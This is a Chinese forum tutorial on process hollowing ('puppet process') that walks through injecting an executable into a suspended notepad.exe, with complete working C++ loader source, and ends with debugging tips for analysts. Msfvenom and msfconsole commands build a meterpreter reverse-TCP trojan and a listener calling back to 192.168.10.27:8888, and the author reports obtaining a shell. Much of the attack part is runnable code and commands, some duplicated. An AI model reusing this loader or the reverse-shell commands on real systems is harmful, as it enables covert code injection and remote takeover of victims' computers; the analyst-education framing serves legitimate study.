傀儡进程这种技术其实很早就出现了,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置。程序先以挂起方式创建某个进程A.exe,然后将另一个进程B.exe映射到A.exe进程的内存空间,并在A.exe进程中运行,如下图

1、使用CreatreProcess创建进程时传入CREATE_SUPENDED以挂起方式创建目标进程
2、调用NtUnmapViewOfSection卸载目标的内存数据
3、调用VirtualAllocEx在目标进程申请内存
4、调用WriteProcessMemory向内存写入ShellCode
5、调用GetThreadContext获取目标进程的CONTEXT
6、调用SetThreadContext设置入口点
7、调用ResumeThread恢复进程,执行ShellCode
1、选择目标进程
选择目标进程时,不能对已经运行的进程进行替换,因为无法控制指针,也无法获得主线程句柄
2、卸载内存数据
在卸载目标进程内存时需要使用未导出函数NtUnmapViewOfSection,需要从ntdll.dll中获取,其实NtUnmapViewOfSection还可以用来结束进程
3、申请内存
使用VirtualAllocEx函数申请内存时,可以将目标进程的ImageBaseAddress作为申请内存空间的首地址,这样做的好处是可以不用考虑重定位的问题
4、写入ShellCode
在目标进程中写入ShellCode时,如果ShellCode和目标进程的ImageBaseAddress存在偏移,需要使用.reloc区段进程重定位
5、恢复目标进程的运行环境
完成替换后要调用SetThreadContext修改EAX寄存器(进程的入口点),这也是为什么之前要用GetThreadContext获取目标进程的CONTEXT,最后调用ResumeThread恢复线程运行
接下来我们在使用Kali生成一个反弹端口木马,取名test.exe,然后在Kali上进行监听,等待目标系统上线。然后将test.exe复制到Windows桌面,为创建傀儡进程做准备。
在Kali上会用到如下命令
程序执行后成功创建傀儡进程(notepad.exe)

并且成功反弹Shell

先找到main函数

调用CreateFile、GetFileSize、ReadFile读取test.exe到内存中


调用CreateProcess并传入CREATE_SUPENDED以挂起方式创建notepad进程

当傀儡进程以挂起方式被创建时,处于暂停状态,PE加载器会将PEB结构体的地址设置给EBX寄存器,所以通过GetThreadContext函数获取notepad主线的CONTEXT就可以得到EBX,也就是PEB的地址,得到PEB的地址之后就能使用ReadProcessMemory取得notepad.exe的加载基址
调用GetThreadContext获取notepad(傀儡进程)主线程上下文环境,用来获得进程的PEB

调用ReadProcessMemory获取notepad进程基址

比较notepad进程的加载基址和test.exe的是否相同,如果相同的话会发生冲突,就需要使用ZwUnmapViewOfSection函数卸载原来notepad进程的映像。如果不相同,可以不卸载

我这里由于加载基址不相同,不用卸载notepad进程的映像,但是需要告诉PE加载器新的映像基址(test.exe的基址),而不是notepad原来的基址。调用WriteProcessMemory将notepad进程的PEB.ImageBase的值修改为test.exe的加载基址

调用VirtualAllocEx在notepad进程中为test.exe申请指定的内存

调用WriteProcessMemory在notepad进程中映射test的文件头

使用循环映射PE节表,根据PE节数量调用WriteProcessMemory(),循环完成后test彻底被映射到notepad进程空间

为保证映射到notepad中的test能够正常运行,需要调用SetThreadContext设置正确的EIP

最后调用ResumeThread恢复线程运行

如果想调试此种类型的程序,有很多方法,现在我们可以设置无限循环的方式进行调试,具体方式如下
1.查看程序入口点

在010Edit中跳转到162D这个位置,然后修改两个字节为0xEB 0xFE(0xEB 0xFE是无限循环指令,相当于Jump Address = NextEIP()+0xFE(-2)),修改信息如下图
修改前

修改后,记得Ctrl+S保存

然后就可以附加调试了,如下图

附加到调试器后,程序在系统库区域暂停,如下图

使用Ctrl+G直接跳转到40162D这个位置

然后使用F2在EIP地址处设置断点,然后F9运行,断下来之后使用Ctrl+E将指令恢复原来的代码(0x42,0x42),接着就可以开始调试了

其实通过傀儡进程这种方式执行恶意代码在大量的样本中都会遇到,各种病毒木马对此情有独钟,而且常常是多层套娃,通常还会结合一些反调试技术和混淆增加逆向分析的难度,给逆向分析人员带来极大的挑战,虽然技术难度不高,但是多种手段结合使用起来恶心人还是有一套的,所以掌握各种调试方式对我们的帮助是非常有用的。好了,就到这里,如果有些地方需要补充,我会及时更新的。
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.27
set lport 8888
exploit
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.27 lport=8888 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.27
set lport 8888
exploit
//傀儡进程
//ShellCode
typedef NTSTATUS(WINAPI *PFZWUNMAPVIEWOFSECTION)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
//主函数
void _tmain(int argc, TCHAR *argv[])
{
STARTUPINFO si = { sizeof(STARTUPINFO), };
PROCESS_INFORMATION pi = { 0, };
LPBYTE pRealFileBuf = NULL;
// 准备要写入傀儡进程的数据
if (!(pRealFileBuf = ReadRealFile(PayLoad)))
return;
// 创建傀儡进程
if (!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("CreateProcess() failed! [%d]\n", GetLastError());
goto _END;
}
// 卸载傀儡进程内存空间数据
if (!UnmapFakeProcImage(&pi, pRealFileBuf))
{
printf("UnmapFakeProcImage() failed!!!\n");
goto _END;
}
// 在傀儡进程内分配内存并将shellcode写入分配的内存
if (!MapRealProcImage(&pi, pRealFileBuf))
{
printf("MapRealProcImage() failed!!!\n");
goto _END;
}
// 恢复傀儡进程的主线程
if (-1 == ResumeThread(pi.hThread))
{
printf("ResumeThread() failed! [%d]\n", GetLastError());
goto _END;
}
//等待返回
WaitForSingleObject(pi.hProcess, INFINITE);
_END:
if (pRealFileBuf != NULL)
delete[]pRealFileBuf;
if (pi.hProcess != NULL)
CloseHandle(pi.hProcess);
if (pi.hThread != NULL)
CloseHandle(pi.hThread);
}
LPBYTE ReadRealFile(LPCTSTR szPath)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
LPBYTE pBuf = NULL;
DWORD dwFileSize = 0, dwBytesRead = 0;
hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
return NULL;
dwFileSize = GetFileSize(hFile, NULL);
if (!(pBuf = new BYTE[dwFileSize]))
return NULL;
//memset(pBuf, 0, dwFileSize);
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return pBuf;
}
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
DWORD dwFakeProcImageBase = 0;
CONTEXT ctx = { 0, };
PIMAGE_DOS_HEADER pIDH = NULL;
PIMAGE_OPTIONAL_HEADER pIOH = NULL;
FARPROC pFunc = NULL;
// 获取傀儡进程CONTEXT
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(ppi->hThread, &ctx))
{
printf("GetThreadContext() failed! [%d]\n", GetLastError());
return FALSE;
}
// 获取傀儡进程基址
if (!ReadProcessMemory(
ppi->hProcess,
(LPCVOID)(ctx.Ebx + 8), // ctx.Ebx = PEB, ctx.Ebx + 8 = PEB.ImageBase
&dwFakeProcImageBase,
sizeof(DWORD),
NULL))
{
printf("ReadProcessMemory() failed! [%d]\n", GetLastError());
return FALSE;
}
// 获取
pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
//如果PayLoad进程基址和傀儡进程基址相同,调用ZwUnmapViewOfSection()卸载
if (pIOH->ImageBase == dwFakeProcImageBase)
{
// 调用 ntdll!ZwUnmapViewOfSection()
pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwUnmapViewOfSection");
if (STATUS_SUCCESS != ((PFZWUNMAPVIEWOFSECTION)pFunc)(ppi->hProcess, (PVOID)dwFakeProcImageBase))
{
printf("ZwUnmapViewOfSection() failed!!! [%d]\n", GetLastError());
return FALSE;
}
}
else
{
// 否则直接修加载基址就可以
WriteProcessMemory(
ppi->hProcess,
(LPVOID)(ctx.Ebx + 8), // PEB.ImageBase of "fake.exe"
&pIOH->ImageBase, // ImageBase of "real.exe"
sizeof(DWORD),
NULL);
}
return TRUE;
}
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf)
{
CONTEXT ctx = { 0, };
LPBYTE pRealProcImage = NULL;
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)pRealFileBuf;
PIMAGE_FILE_HEADER pIFH = (PIMAGE_FILE_HEADER)(pRealFileBuf + pIDH->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER pIOH = (PIMAGE_OPTIONAL_HEADER)(pRealFileBuf + pIDH->e_lfanew + 0x18);
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pRealFileBuf + pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS));
// 在傀儡进程中申请内存
if (!(pRealProcImage = (LPBYTE)VirtualAllocEx(
ppi->hProcess,
(LPVOID)pIOH->ImageBase,
pIOH->SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE)))
{
printf("VirtualAllocEx() failed!!! [%d]\n", GetLastError());
return FALSE;
}
// 写入 SizeOfHeaders (DOS头+NT头+节表的大小)
WriteProcessMemory(
ppi->hProcess,
pRealProcImage,
pRealFileBuf,
pIOH->SizeOfHeaders,
NULL);
// 写入各个区块
for (int i = 0; i < pIFH->NumberOfSections; i++, pISH++)
{
if (pISH->SizeOfRawData != 0)
{
if (!WriteProcessMemory(
ppi->hProcess,
pRealProcImage + pISH->VirtualAddress,
pRealFileBuf + pISH->PointerToRawData,
pISH->SizeOfRawData,
NULL))
{
printf("WriteProcessMemory(%.8X) failed!!! [%d]\n",
pRealProcImage + pISH->VirtualAddress, GetLastError());
return FALSE;
}
}
}
// 获取傀儡进程CONTEXT
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(ppi->hThread, &ctx))
{
printf("GetThreadContext() failed! [%d]\n", GetLastError());
return FALSE;
}
//修改傀儡进程入口点虚拟地址
ctx.Eax = pIOH->AddressOfEntryPoint + pIOH->ImageBase; // VA of EP
if (!SetThreadContext(ppi->hThread, &ctx))
{
printf("SetThreadContext() failed! [%d]\n", GetLastError());
return FALSE;
}
return TRUE;
}
//傀儡进程
//ShellCode
typedef NTSTATUS(WINAPI *PFZWUNMAPVIEWOFSECTION)
(
HANDLE ProcessHandle,
PVOID BaseAddress
);
LPBYTE ReadRealFile(LPCTSTR szPath);
BOOL UnmapFakeProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
BOOL MapRealProcImage(PROCESS_INFORMATION *ppi, LPBYTE pRealFileBuf);
//主函数
void _tmain(int argc, TCHAR *argv[])
{
STARTUPINFO si = { sizeof(STARTUPINFO), };
PROCESS_INFORMATION pi = { 0, };
LPBYTE pRealFileBuf = NULL;
// 准备要写入傀儡进程的数据
if (!(pRealFileBuf = ReadRealFile(PayLoad)))
return;
// 创建傀儡进程
if (!CreateProcess(Puppet, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi))
{
printf("CreateProcess() failed! [%d]\n", GetLastError());
goto _END;
}
// 卸载傀儡进程内存空间数据
if (!UnmapFakeProcImage(&pi, pRealFileBuf))
{
printf("UnmapFakeProcImage() failed!!!\n");
goto _END;
}
// 在傀儡进程内分配内存并将shellcode写入分配的内存
if (!MapRealProcImage(&pi, pRealFileBuf))
{
printf("MapRealProcImage() failed!!!\n");
goto _END;
}
// 恢复傀儡进程的主线程
if (-1 == ResumeThread(pi.hThread))
{
printf("ResumeThread() failed! [%d]\n", GetLastError());
goto _END;
}
//等待返回
WaitForSingleObject(pi.hProcess, INFINITE);
_END:
if (pRealFileBuf != NULL)
delete[]pRealFileBuf;
if (pi.hProcess != NULL)
CloseHandle(pi.hProcess);
if (pi.hThread != NULL)
CloseHandle(pi.hThread);
}
LPBYTE ReadRealFile(LPCTSTR szPath)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
LPBYTE pBuf = NULL;
DWORD dwFileSize = 0, dwBytesRead = 0;
hFile = CreateFile(szPath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile)
return NULL;
dwFileSize = GetFileSize(hFile, NULL);
if (!(pBuf = new BYTE[dwFileSize]))
return NULL;
//memset(pBuf, 0, dwFileSize);
ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
CloseHandle(hFile);
return pBuf;
}
[培训]科锐软件逆向54期预科班、正式班开始火爆招生报名啦!!!
最后于 2022-5-23 14:21
被寒江独钓_编辑
,原因: